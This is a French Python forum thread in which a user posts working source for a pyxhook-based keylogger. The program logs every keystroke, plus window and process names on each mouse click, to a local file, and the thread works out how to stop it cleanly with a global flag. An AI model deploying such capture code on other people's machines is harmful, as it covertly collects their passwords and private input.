[RESOLU] Thread keylogger, probleme pour en sortir.

Moderator: Mod

[RESOLU] Thread keylogger, probleme pour en sortir.

Postby neib » Mon Apr 30, 2018 11:12 pm

Bonjour a tous.
Actuellement sur la preparation d'un petit programme je voudrais y integrer un keylogger qui serait demarre par une commande type "Keystart" et fini par "Keystop".

J'ai reussi a faire fonctionner mon thread nickel avec une fonction "print", mais des que j'y integre mon keylogger, impossible de quiter proprement mon programme.
Alors j'ai commence a chercher sur le net des solutions mais ca devient un peu un joli micmac.

Est ce que quelqu'un pourrait m'aider a m'en depatouiller?

Voici mon code remis un peu au propre : (pour mes essai j'ai couple simplement avec input)
[code:1:160721f87f]#!/usr/bin/python3
# -*- coding: utf-8 -*-

import threading

import random
import sys
import time
import pyxhook
from fonctionEcrire import *


class Keylogger(threading.Thread):

def __init__(self):
threading.Thread.__init__(self)
self._finished = threading.Event()
self._interval = 0.2

def setInterval(self, interval):
self._interval = interval # """Set the number of seconds we sleep between executing our task"""

def shutdown(self):
self._finished.set() # """Stop this thread"""

def run(self):
# while 1:
if self._finished.isSet(): return
self.task()

# sleep for interval or until shutdown
self._finished.wait(self._interval)

def task(self):

heure = time.strftime("%d:%B:%Y a %H:%M:%S_")
# Ecrire("donnees", "\n\n\n#\n#\n#\nDebut de la session d'enregistrement le : "+heure+".\n#\n#\n#\n\n\n")

# Cette fonction est appellee a chaque fois qu'une touche du clavier est pressee.
def kbevent(event):
global running
Ecrire("donnees", chr(event.Ascii))

#Cette fonction est appellee a chaque fois qu'un bouton de la souris est presse.
def mevent(event):
global running
Ecrire("donnees", "\n")
Ecrire("donnees", heure+" : "+ event.WindowName)
Ecrire('donnees', " "+event.WindowProcName)
Ecrire('donnees', " "+event.MessageName)
Ecrire('donnees', "\n")

# Creation hookmanager
hookman = pyxhook.HookManager()
# Hook le keyboard
hookman.KeyDown = kbevent
hookman.HookKeyboard()
# Hook la souris
hookman.MouseAllButtonsDown = mevent
hookman.HookMouse()
# Start
hookman.start()

pass



# Demarrage du programme

TH = Keylogger()
heure = time.strftime("%d:%B:%Y a %H:%M:%S_")
Ecrire("donnees", "\n\n\n#\n#\n#\nDebut de la session d'enregistrement le : "+heure+".\n#\n#\n#\n\n\n")
TH.start()
print("thread demarre")

r = ""
while r != "stop" :

r=input("yo : ")
if r == "stop":

# TH.join()
TH.shutdown()
# TH.exit()
time.sleep(5.0)
TH.join()
print("thread arrete")
[/code:1:160721f87f]

Je recois bien le message "thread arrete" mais le programme reste en attente et le thread continu d'inscrire les "kbevent" et "mevent" dans le fichier "donnees". Autrement dit, il est tout sauf arrete.
Que puis-je faire pour arriver a m'en defaire?

Merci beaucoup! ;)






EDIT : j'ai fini par me debloquer en ajoutant ceci a la fin de task():
[code:1:160721f87f] # Start
hookman.start()

while running:
time.sleep(0.1)

# Close the listener when we are done
hookman.cancel()

pass[/code:1:160721f87f]

et en modifiant la fin par :
[code:1:160721f87f]
running = True
r=input("yo ")
if r == "stop":
running = False
[/code:1:160721f87f]

L'idee a ete de faire intervenir une variable afin de pouvoir ajouter un "hookman.cancel()" a la fin de ma fonction.
c'est parfait comme ca, je laisse tomber les TH.shutdown() etc, mais nouveau probleme, avec cette technique je suis oblige d'inclure mon keylogger dans le meme fichier que mon programme et non dans un fichier .py separe.

Je m'explique : le fait de jouer sur la variable "running" influ directement ce qui se passe a l'interieur de ma class Keylogger(),
du coup avec un fichier different .py ajoute avec "import" dans mon code principal, cette variable ne voyage pas.
En faisant par exemple :
[code:1:160721f87f]TH = Keylogger(running) # Avec running = True ou False.[/code:1:160721f87f]
Keylogger(True) executerai le code mais,
Keylogger(False) le re-executerai puis le terminerai au lieu de cloturer le precedemment ouvert.

Je sais pas si j'ai ete bien clair, en tout cas j'espere que ca pourra en aider certains qui comme moi galerent avec les thread... ^^

Cette methode ne me convient pas tout a fait car je la trouve un peu crado, (sur le cote non exportable (le fait de devoir reecrire le code pour chaque nouveau projet)).

Enfin bon, ca marche, que demander de mieux? :lol:
User avatar
neib
Projets
 
Posts: 49
Joined: Thu Jun 12, 2008 10:29 pm
Location: ::/128

Return to Python

Who is online

Users browsing this forum: No registered users and 2 guests

cron